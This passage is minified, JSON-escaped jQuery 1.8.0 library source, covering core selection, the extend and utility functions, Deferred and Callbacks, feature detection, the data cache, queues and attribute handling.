b[d];if(f===(q?\"hide\":\"show\"))continue;o.push(d)}}g=o.length;if(g){h=p._data(a,\"fxshow\")||p._data(a,\"fxshow\",{}),q?p(a).show():l.done(function(){p(a).hide()}),l.done(function(){var b;p.removeData(a,\"fxshow\",!0);for(b in n)p.style(a,b,n[b])});for(d=0;d\u003cg;d++)e=o[d],i=l.createTween(e,q?h[e]:0),n[e]=h[e]||p.style(a,e),e in h||(h[e]=i.start,q\u0026\u0026(i.end=i.start,i.start=e===\"width\"||e===\"height\"?1:0))}}function cY(a,b,c,d,e){return new cY.prototype.init(a,b,c,d,e)}function cZ(a,b){var c,d={height:a},e=0;for(;e\u003c4;e+=2-b)c=bU[e],d[\"margin\"+c]=d[\"padding\"+c]=a;return b\u0026\u0026(d.opacity=d.width=a),d}function c_(a){return p.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}var c,d,e=a.document,f=a.location,g=a.navigator,h=a.jQuery,i=a.$,j=Array.prototype.push,k=Array.prototype.slice,l=Array.prototype.indexOf,m=Object.prototype.toString,n=Object.prototype.hasOwnProperty,o=String.prototype.trim,p=function(a,b){return new p.fn.init(a,b,c)},q=/[\\-+]?(?:\\d*\\.|)\\d+(?:[eE][\\-+]?\\d+|)/.source,r=/\\S/,s=/\\s+/,t=r.test(\" \")?/^[\\s\\xA0]+|[\\s\\xA0]+$/g:/^\\s+|\\s+$/g,u=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,v=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e|)$/,w=/^[\\],:{}\\s]*$/,x=/(?:^|:|,)(?:\\s*\\[)+/g,y=/\\\\(?:[\"\\\\\\/bfnrt]|u[\\da-fA-F]{4})/g,z=/\"[^\"\\\\\\r\\n]*\"|true|false|null|-?(?:\\d\\d*\\.|)\\d+(?:[eE][\\-+]?\\d+|)/g,A=/^-ms-/,B=/-([\\da-z])/gi,C=function(a,b){return(b+\"\").toUpperCase()},D=function(){e.addEventListener?(e.removeEventListener(\"DOMContentLoaded\",D,!1),p.ready()):e.readyState===\"complete\"\u0026\u0026(e.detachEvent(\"onreadystatechange\",D),p.ready())},E={};p.fn=p.prototype={constructor:p,init:function(a,c,d){var f,g,h,i;if(!a)return this;if(a.nodeType)return this.context=this[0]=a,this.length=1,this;if(typeof a==\"string\"){a.charAt(0)===\"\u003c\"\u0026\u0026a.charAt(a.length-1)===\"\u003e\"\u0026\u0026a.length\u003e=3?f=[null,a,null]:f=u.exec(a);if(f\u0026\u0026(f[1]||!c)){if(f[1])return c=c instanceof p?c[0]:c,i=c\u0026\u0026c.nodeType?c.ownerDocument||c:e,a=p.parseHTML(f[1],i,!0),v.test(f[1])\u0026\u0026p.isPlainObject(c)\u0026\u0026this.attr.call(a,c,!0),p.merge(this,a);g=e.getElementById(f[2]);if(g\u0026\u0026g.parentNode){if(g.id!==f[2])return d.find(a);this.length=1,this[0]=g}return this.context=e,this.selector=a,this}return!c||c.jquery?(c||d).find(a):this.constructor(c).find(a)}return p.isFunction(a)?d.ready(a):(a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context),p.makeArray(a,this))},selector:\"\",jquery:\"1.8.0\",length:0,size:function(){return this.length},toArray:function(){return k.call(this)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=p.merge(this.constructor(),a);return d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\"),d},each:function(a,b){return p.each(this,a,b)},ready:function(a){return p.ready.promise().done(a),this},eq:function(a){return a=+a,a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(k.apply(this,arguments),\"slice\",k.call(arguments).join(\",\"))},map:function(a){return this.pushStack(p.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:j,sort:[].sort,splice:[].splice},p.fn.init.prototype=p.fn,p.extend=p.fn.extend=function(){var a,c,d,e,f,g,h=arguments[0]||{},i=1,j=arguments.length,k=!1;typeof h==\"boolean\"\u0026\u0026(k=h,h=arguments[1]||{},i=2),typeof h!=\"object\"\u0026\u0026!p.isFunction(h)\u0026\u0026(h={}),j===i\u0026\u0026(h=this,--i);for(;i\u003cj;i++)if((a=arguments[i])!=null)for(c in a){d=h[c],e=a[c];if(h===e)continue;k\u0026\u0026e\u0026\u0026(p.isPlainObject(e)||(f=p.isArray(e)))?(f?(f=!1,g=d\u0026\u0026p.isArray(d)?d:[]):g=d\u0026\u0026p.isPlainObject(d)?d:{},h[c]=p.extend(k,g,e)):e!==b\u0026\u0026(h[c]=e)}return h},p.extend({noConflict:function(b){return a.$===p\u0026\u0026(a.$=i),b\u0026\u0026a.jQuery===p\u0026\u0026(a.jQuery=h),p},isReady:!1,readyWait:1,holdReady:function(a){a?p.readyWait++:p.ready(!0)},ready:function(a){if(a===!0?--p.readyWait:p.isReady)return;if(!e.body)return setTimeout(p.ready,1);p.isReady=!0;if(a!==!0\u0026\u0026--p.readyWait\u003e0)return;d.resolveWith(e,[p]),p.fn.trigger\u0026\u0026p(e).trigger(\"ready\").off(\"ready\")},isFunction:function(a){return p.type(a)===\"function\"},isArray:Array.isArray||function(a){return p.type(a)===\"array\"},isWindow:function(a){return a!=null\u0026\u0026a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):E[m.call(a)]||\"object\"},isPlainObject:function(a){if(!a||p.type(a)!==\"object\"||a.nodeType||p.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!n.call(a,\"constructor\")\u0026\u0026!n.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||n.call(a,d)},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},error:function(a){throw new Error(a)},parseHTML:function(a,b,c){var d;return!a||typeof a!=\"string\"?null:(typeof b==\"boolean\"\u0026\u0026(c=b,b=0),b=b||e,(d=v.exec(a))?[b.createElement(d[1])]:(d=p.buildFragment([a],b,c?null:[]),p.merge([],(d.cacheable?p.clone(d.fragment):d.fragment).childNodes)))},parseJSON:function(b){if(!b||typeof b!=\"string\")return null;b=p.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(w.test(b.replace(y,\"@\").replace(z,\"]\").replace(x,\"\")))return(new Function(\"return \"+b))();p.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,e;if(!c||typeof c!=\"string\")return null;try{a.DOMParser?(e=new DOMParser,d=e.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(f){d=b}return(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026p.error(\"Invalid XML: \"+c),d},noop:function(){},globalEval:function(b){b\u0026\u0026r.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(A,\"ms-\").replace(B,C)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var e,f=0,g=a.length,h=g===b||p.isFunction(a);if(d){if(h){for(e in a)if(c.apply(a[e],d)===!1)break}else for(;f\u003cg;)if(c.apply(a[f++],d)===!1)break}else if(h){for(e in a)if(c.call(a[e],e,a[e])===!1)break}else for(;f\u003cg;)if(c.call(a[f],f,a[f++])===!1)break;return a},trim:o?function(a){return a==null?\"\":o.call(a)}:function(a){return a==null?\"\":a.toString().replace(t,\"\")},makeArray:function(a,b){var c,d=b||[];return a!=null\u0026\u0026(c=p.type(a),a.length==null||c===\"string\"||c===\"function\"||c===\"regexp\"||p.isWindow(a)?j.call(d,a):p.merge(d,a)),d},inArray:function(a,b,c){var d;if(b){if(l)return l.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=c.length,e=a.length,f=0;if(typeof d==\"number\")for(;f\u003cd;f++)a[e++]=c[f];else while(c[f]!==b)a[e++]=c[f++];return a.length=e,a},grep:function(a,b,c){var d,e=[],f=0,g=a.length;c=!!c;for(;f\u003cg;f++)d=!!b(a[f],f),c!==d\u0026\u0026e.push(a[f]);return e},map:function(a,c,d){var e,f,g=[],h=0,i=a.length,j=a instanceof p||i!==b\u0026\u0026typeof i==\"number\"\u0026\u0026(i\u003e0\u0026\u0026a[0]\u0026\u0026a[i-1]||i===0||p.isArray(a));if(j)for(;h\u003ci;h++)e=c(a[h],h,d),e!=null\u0026\u0026(g[g.length]=e);else for(f in a)e=c(a[f],f,d),e!=null\u0026\u0026(g[g.length]=e);return g.concat.apply([],g)},guid:1,proxy:function(a,c){var d,e,f;return typeof c==\"string\"\u0026\u0026(d=a[c],c=a,a=d),p.isFunction(a)?(e=k.call(arguments,2),f=function(){return a.apply(c,e.concat(k.call(arguments)))},f.guid=a.guid=a.guid||f.guid||p.guid++,f):b},access:function(a,c,d,e,f,g,h){var i,j=d==null,k=0,l=a.length;if(d\u0026\u0026typeof d==\"object\"){for(k in d)p.access(a,c,k,d[k],1,g,e);f=1}else if(e!==b){i=h===b\u0026\u0026p.isFunction(e),j\u0026\u0026(i?(i=c,c=function(a,b,c){return i.call(p(a),c)}):(c.call(a,e),c=null));if(c)for(;k\u003cl;k++)c(a[k],d,i?e.call(a[k],k,c(a[k],d)):e,h);f=1}return f?a:j?c.call(a):l?c(a[0],d):g},now:function(){return(new Date).getTime()}}),p.ready.promise=function(b){if(!d){d=p.Deferred();if(e.readyState===\"complete\"||e.readyState!==\"loading\"\u0026\u0026e.addEventListener)setTimeout(p.ready,1);else if(e.addEventListener)e.addEventListener(\"DOMContentLoaded\",D,!1),a.addEventListener(\"load\",p.ready,!1);else{e.attachEvent(\"onreadystatechange\",D),a.attachEvent(\"onload\",p.ready);var c=!1;try{c=a.frameElement==null\u0026\u0026e.documentElement}catch(f){}c\u0026\u0026c.doScroll\u0026\u0026function g(){if(!p.isReady){try{c.doScroll(\"left\")}catch(a){return setTimeout(g,50)}p.ready()}}()}}return d.promise(b)},p.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){E[\"[object \"+b+\"]\"]=b.toLowerCase()}),c=p(e);var F={};p.Callbacks=function(a){a=typeof a==\"string\"?F[a]||G(a):p.extend({},a);var c,d,e,f,g,h,i=[],j=!a.once\u0026\u0026[],k=function(b){c=a.memory\u0026\u0026b,d=!0,h=f||0,f=0,g=i.length,e=!0;for(;i\u0026\u0026h\u003cg;h++)if(i[h].apply(b[0],b[1])===!1\u0026\u0026a.stopOnFalse){c=!1;break}e=!1,i\u0026\u0026(j?j.length\u0026\u0026k(j.shift()):c?i=[]:l.disable())},l={add:function(){if(i){var b=i.length;(function d(b){p.each(b,function(b,c){p.isFunction(c)\u0026\u0026(!a.unique||!l.has(c))?i.push(c):c\u0026\u0026c.length\u0026\u0026d(c)})})(arguments),e?g=i.length:c\u0026\u0026(f=b,k(c))}return this},remove:function(){return i\u0026\u0026p.each(arguments,function(a,b){var c;while((c=p.inArray(b,i,c))\u003e-1)i.splice(c,1),e\u0026\u0026(c\u003c=g\u0026\u0026g--,c\u003c=h\u0026\u0026h--)}),this},has:function(a){return p.inArray(a,i)\u003e-1},empty:function(){return i=[],this},disable:function(){return i=j=c=b,this},disabled:function(){return!i},lock:function(){return j=b,c||l.disable(),this},locked:function(){return!j},fireWith:function(a,b){return b=b||[],b=[a,b.slice?b.slice():b],i\u0026\u0026(!d||j)\u0026\u0026(e?j.push(b):k(b)),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!d}};return l},p.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",p.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",p.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",p.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return p.Deferred(function(c){p.each(b,function(b,d){var f=d[0],g=a[b];e[d[1]](p.isFunction(g)?function(){var a=g.apply(this,arguments);a\u0026\u0026p.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f+\"With\"](this===e?c:this,[a])}:c[f])}),a=null}).promise()},promise:function(a){return typeof a==\"object\"?p.extend(a,d):d}},e={};return d.pipe=d.then,p.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h\u0026\u0026g.add(function(){c=h},b[a^1][2].disable,b[2][2].lock),e[f[0]]=g.fire,e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a\u0026\u0026a.call(e,e),e},when:function(a){var b=0,c=k.call(arguments),d=c.length,e=d!==1||a\u0026\u0026p.isFunction(a.promise)?d:0,f=e===1?a:p.Deferred(),g=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length\u003e1?k.call(arguments):d,c===h?f.notifyWith(b,c):--e||f.resolveWith(b,c)}},h,i,j;if(d\u003e1){h=new Array(d),i=new Array(d),j=new Array(d);for(;b\u003cd;b++)c[b]\u0026\u0026p.isFunction(c[b].promise)?c[b].promise().done(g(b,j,c)).fail(f.reject).progress(g(b,i,h)):--e}return e||f.resolveWith(j,c),f.promise()}}),p.support=function(){var b,c,d,f,g,h,i,j,k,l,m,n=e.createElement(\"div\");n.setAttribute(\"className\",\"t\"),n.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",c=n.getElementsByTagName(\"*\"),d=n.getElementsByTagName(\"a\")[0],d.style.cssText=\"top:1px;float:left;opacity:.5\";if(!c||!c.length||!d)return{};f=e.createElement(\"select\"),g=f.appendChild(e.createElement(\"option\")),h=n.getElementsByTagName(\"input\")[0],b={leadingWhitespace:n.firstChild.nodeType===3,tbody:!n.getElementsByTagName(\"tbody\").length,htmlSerialize:!!n.getElementsByTagName(\"link\").length,style:/top/.test(d.getAttribute(\"style\")),hrefNormalized:d.getAttribute(\"href\")===\"/a\",opacity:/^0.5/.test(d.style.opacity),cssFloat:!!d.style.cssFloat,checkOn:h.value===\"on\",optSelected:g.selected,getSetAttribute:n.className!==\"t\",enctype:!!e.createElement(\"form\").enctype,html5Clone:e.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",boxModel:e.compatMode===\"CSS1Compat\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},h.checked=!0,b.noCloneChecked=h.cloneNode(!0).checked,f.disabled=!0,b.optDisabled=!g.disabled;try{delete n.test}catch(o){b.deleteExpando=!1}!n.addEventListener\u0026\u0026n.attachEvent\u0026\u0026n.fireEvent\u0026\u0026(n.attachEvent(\"onclick\",m=function(){b.noCloneEvent=!1}),n.cloneNode(!0).fireEvent(\"onclick\"),n.detachEvent(\"onclick\",m)),h=e.createElement(\"input\"),h.value=\"t\",h.setAttribute(\"type\",\"radio\"),b.radioValue=h.value===\"t\",h.setAttribute(\"checked\",\"checked\"),h.setAttribute(\"name\",\"t\"),n.appendChild(h),i=e.createDocumentFragment(),i.appendChild(n.lastChild),b.checkClone=i.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=h.checked,i.removeChild(h),i.appendChild(n);if(n.attachEvent)for(k in{submit:!0,change:!0,focusin:!0})j=\"on\"+k,l=j in n,l||(n.setAttribute(j,\"return;\"),l=typeof n[j]==\"function\"),b[k+\"Bubbles\"]=l;return p(function(){var c,d,f,g,h=\"padding:0;margin:0;border:0;display:block;overflow:hidden;\",i=e.getElementsByTagName(\"body\")[0];if(!i)return;c=e.createElement(\"div\"),c.style.cssText=\"visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px\",i.insertBefore(c,i.firstChild),d=e.createElement(\"div\"),c.appendChild(d),d.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",f=d.getElementsByTagName(\"td\"),f[0].style.cssText=\"padding:0;margin:0;border:0;display:none\",l=f[0].offsetHeight===0,f[0].style.display=\"\",f[1].style.display=\"none\",b.reliableHiddenOffsets=l\u0026\u0026f[0].offsetHeight===0,d.innerHTML=\"\",d.style.cssText=\"box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;\",b.boxSizing=d.offsetWidth===4,b.doesNotIncludeMarginInBodyOffset=i.offsetTop!==1,a.getComputedStyle\u0026\u0026(b.pixelPosition=(a.getComputedStyle(d,null)||{}).top!==\"1%\",b.boxSizingReliable=(a.getComputedStyle(d,null)||{width:\"4px\"}).width===\"4px\",g=e.createElement(\"div\"),g.style.cssText=d.style.cssText=h,g.style.marginRight=g.style.width=\"0\",d.style.width=\"1px\",d.appendChild(g),b.reliableMarginRight=!parseFloat((a.getComputedStyle(g,null)||{}).marginRight)),typeof d.style.zoom!=\"undefined\"\u0026\u0026(d.innerHTML=\"\",d.style.cssText=h+\"width:1px;padding:1px;display:inline;zoom:1\",b.inlineBlockNeedsLayout=d.offsetWidth===3,d.style.display=\"block\",d.style.overflow=\"visible\",d.innerHTML=\"\u003cdiv\u003e\u003c/div\u003e\",d.firstChild.style.width=\"5px\",b.shrinkWrapBlocks=d.offsetWidth!==3,c.style.zoom=1),i.removeChild(c),c=d=f=g=null}),i.removeChild(n),c=d=f=g=h=i=n=null,b}();var H=/^(?:\\{.*\\}|\\[.*\\])$/,I=/([A-Z])/g;p.extend({cache:{},deletedIds:[],uuid:0,expando:\"jQuery\"+(p.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){return a=a.nodeType?p.cache[a[p.expando]]:a[p.expando],!!a\u0026\u0026!K(a)},data:function(a,c,d,e){if(!p.acceptData(a))return;var f,g,h=p.expando,i=typeof c==\"string\",j=a.nodeType,k=j?p.cache:a,l=j?a[h]:a[h]\u0026\u0026h;if((!l||!k[l]||!e\u0026\u0026!k[l].data)\u0026\u0026i\u0026\u0026d===b)return;l||(j?a[h]=l=p.deletedIds.pop()||++p.uuid:l=h),k[l]||(k[l]={},j||(k[l].toJSON=p.noop));if(typeof c==\"object\"||typeof c==\"function\")e?k[l]=p.extend(k[l],c):k[l].data=p.extend(k[l].data,c);return f=k[l],e||(f.data||(f.data={}),f=f.data),d!==b\u0026\u0026(f[p.camelCase(c)]=d),i?(g=f[c],g==null\u0026\u0026(g=f[p.camelCase(c)])):g=f,g},removeData:function(a,b,c){if(!p.acceptData(a))return;var d,e,f,g=a.nodeType,h=g?p.cache:a,i=g?a[p.expando]:p.expando;if(!h[i])return;if(b){d=c?h[i]:h[i].data;if(d){p.isArray(b)||(b in d?b=[b]:(b=p.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,f=b.length;e\u003cf;e++)delete d[b[e]];if(!(c?K:p.isEmptyObject)(d))return}}if(!c){delete h[i].data;if(!K(h[i]))return}g?p.cleanData([a],!0):p.support.deleteExpando||h!=h.window?delete h[i]:h[i]=null},_data:function(a,b,c){return p.data(a,b,c,!0)},acceptData:function(a){var b=a.nodeName\u0026\u0026p.noData[a.nodeName.toLowerCase()];return!b||b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}}),p.fn.extend({data:function(a,c){var d,e,f,g,h,i=this[0],j=0,k=null;if(a===b){if(this.length){k=p.data(i);if(i.nodeType===1\u0026\u0026!p._data(i,\"parsedAttrs\")){f=i.attributes;for(h=f.length;j\u003ch;j++)g=f[j].name,g.indexOf(\"data-\")===0\u0026\u0026(g=p.camelCase(g.substring(5)),J(i,g,k[g]));p._data(i,\"parsedAttrs\",!0)}}return k}return typeof a==\"object\"?this.each(function(){p.data(this,a)}):(d=a.split(\".\",2),d[1]=d[1]?\".\"+d[1]:\"\",e=d[1]+\"!\",p.access(this,function(c){if(c===b)return k=this.triggerHandler(\"getData\"+e,[d[0]]),k===b\u0026\u0026i\u0026\u0026(k=p.data(i,a),k=J(i,a,k)),k===b\u0026\u0026d[1]?this.data(d[0]):k;d[1]=c,this.each(function(){var b=p(this);b.triggerHandler(\"setData\"+e,d),p.data(this,a,c),b.triggerHandler(\"changeData\"+e,d)})},null,c,arguments.length\u003e1,null,!1))},removeData:function(a){return this.each(function(){p.removeData(this,a)})}}),p.extend({queue:function(a,b,c){var d;if(a)return b=(b||\"fx\")+\"queue\",d=p._data(a,b),c\u0026\u0026(!d||p.isArray(c)?d=p._data(a,b,p.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||\"fx\";var c=p.queue(a,b),d=c.shift(),e=p._queueHooks(a,b),f=function(){p.dequeue(a,b)};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),delete e.stop,d.call(a,f,e)),!c.length\u0026\u0026e\u0026\u0026e.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return p._data(a,c)||p._data(a,c,{empty:p.Callbacks(\"once memory\").add(function(){p.removeData(a,b+\"queue\",!0),p.removeData(a,c,!0)})})}}),p.fn.extend({queue:function(a,c){var d=2;return typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\",d--),arguments.length\u003cd?p.queue(this[0],a):c===b?this:this.each(function(){var b=p.queue(this,a,c);p._queueHooks(this,a),a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026p.dequeue(this,a)})},dequeue:function(a){return this.each(function(){p.dequeue(this,a)})},delay:function(a,b){return a=p.fx?p.fx.speeds[a]||a:a,b=b||\"fx\",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){var d,e=1,f=p.Deferred(),g=this,h=this.length,i=function(){--e||f.resolveWith(g,[g])};typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";while(h--)(d=p._data(g[h],a+\"queueHooks\"))\u0026\u0026d.empty\u0026\u0026(e++,d.empty.add(i));return i(),f.promise(c)}});var L,M,N,O=/[\\t\\r\\n]/g,P=/\\r/g,Q=/^(?:button|input)$/i,R=/^(?:button|input|object|select|textarea)$/i,S=/^a(?:rea|)$/i,T=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,U=p.support.getSetAttribute;p.fn.extend({attr:function(a,b){return p.access(this,p.attr,a,b,arguments.length\u003e1)},removeAttr:function(a){return this.each(function(){p.removeAttr(this,a)})},prop:function(a,b){return p.access(this,p.prop,a,b,arguments.length\u003e1)},removeProp:function(a){return a=p.propFix[a]||a,this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,f,g,h;if(p.isFunction(a))return this.each(function(b){p(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(s);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{f=\" \"+e.className+\" \";for(g=0,h=b.length;g\u003ch;g++)~f.indexOf(\" \"+b[g]+\" \")||(f+=b[g]+\" \");e.className=p.trim(f)}}}return this},removeClass:function(a){var c,d,e,f,g,h,i;if(p.isFunction(a))return this.each(function(b){p(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(s);for(h=0,i=this.length;h\u003ci;h++){e=this[h];if(e.nodeType===1\u0026\u0026e.className){d=(\" \"+e.className+\" \").replace(O,\" \");for(f=0,g=c.length;f\u003cg;f++)while(d.indexOf(\" \"+c[f]+\" \")\u003e-1)d=d.replace(\" \"+c[f]+\" \",\" \");e.className=a?p.trim(d):\"\"}}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";return p.isFunction(a)?this.each(function(c){p(this).toggleClass(a.call(this,c,this.className,b),b)}):this.each(function(){if(c===\"string\"){var e,f=0,g=p(this),h=b,i=a.split(s);while(e=i[f++])h=d?h:!g.hasClass(e),g[h?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026p._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":p._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(O,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,f=this[0];if(!arguments.length){if(f)return c=p.valHooks[f.type]||p.valHooks[f.nodeName.toLowerCase()],c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(f,\"value\"))!==b?d:(d=f.value,typeof d==\"string\"?d.replace(P,\"\"):d==null?\"\":d);return}return e=p.isFunction(a),this.each(function(d){var f,g=p(this);if(this.nodeType!==1)return;e?f=a.call(this,d,g.val()):f=a,f==null?f=\"\":typeof f==\"number\"?f+=\"\":p.isArray(f)\u0026\u0026(f=p.map(f,function(a){return a==null?\"\":a+\"\"})),c=p.valHooks[this.type]||p.valHooks[this.nodeName.toLowerCase()];if(!c||!(\"set\"in c)||c.set(this,f,\"value\")===b)this.value=f})}}),p.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,f=a.selectedIndex,g=[],h=a.options,i=a.type===\"select-one\";if(f\u003c0)return null;c=i?f:0,d=i?f+1:h.length;for(;c\u003cd;c++){e=h[c];if(e.selected\u0026\u0026(p.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!p.nodeName(e.parentNode,\"optgroup\"))){b=p(e).val();if(i)return b;g.push(b)}}return i\u0026\u0026!g.length\u0026\u0026h.length?p(h[f]).val():g},set:function(a,b){var c=p.makeArray(b);return p(a).find(\"option\").each(function(){this.selected=p.inArray(p(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1),c}}},attrFn:{},attr:function(a,c,d,e){var f,g,h,i=a.nodeType;if(!a||i===3||i===8||i===2)return;if(e\u0026\u0026p.isFunction(p.fn[c]))return p(a)[c](d);if(typeof a.getAttribute==\"undefined\")return p.prop(a,c,d);h=i!==1||!p.isXMLDoc(a),h\u0026\u0026(c=c.toLowerCase(),g=p.attrHooks[c]||(T.test(c)?M:L));if(d!==b){if(d===null){p.removeAttr(a,c);return}return g\u0026\u0026\"set\"in g\u0026\u0026h\u0026\u0026(f=g.set(a,d,c))!==b?f:(a.setAttribute(c,\"\"+d),d)}return g\u0026\u0026\"get\"in g\u0026\u0026h\u0026\u0026(f=g.get(a,c))!==null?f:(f=a.getAttribute(c),f===null?b:f)},removeAttr:function(a,b){var c,d,e,f,g=0;if(b\u0026\u0026a.nodeType===1){d=b.split(s);for(;g\u003cd.length;g++)e=d[g],e\u0026\u0026(c=p.propFix[e]||e,f=T.test(e),f||p.attr(a,e,\"\"),a.removeAttribute(U?e:c),f\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(Q.test(a.nodeName)\u0026\u0026a.parentNode)p.error(\"type property can't be changed\");else if(!p.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026p.nodeName(a,\"input\")){var c=a.value;return a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c),b}}},value:{get:function(a,b){return L\u0026\u0026p.nodeName(a,\"button\")?L.get(a,b):b in a?a.value:null},set:function(a,b,c){if(L\u0026\u0026p.nodeName(a,\"button\"))return L.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,f,g,h=a.nodeType;if(!a||h===3||h===8||h===2)return;return g=h!==1||!p.isXMLDoc(a),g\u0026\u0026(c=p.propFix[c]||c,f=p.propHooks[c]),d!==b?f\u0026\u0026\"set\"in f\u0026\u0026(e=f.set(a,d,c))!==b?e:a[c]=d:f\u0026\u0026\"get\"in f\u0026\u0026(e=f.get(a,c))!==null?e:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):R.test(a.nodeName)||S.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),M={get:function(a,c){var d,e=p.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;return b===!1?p.removeAttr(a,c):(d=p.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase())),c}},U||(N={name:!0,id:!0,coords:!0},L=p.valHooks.button={get:function(a,c){var d;return 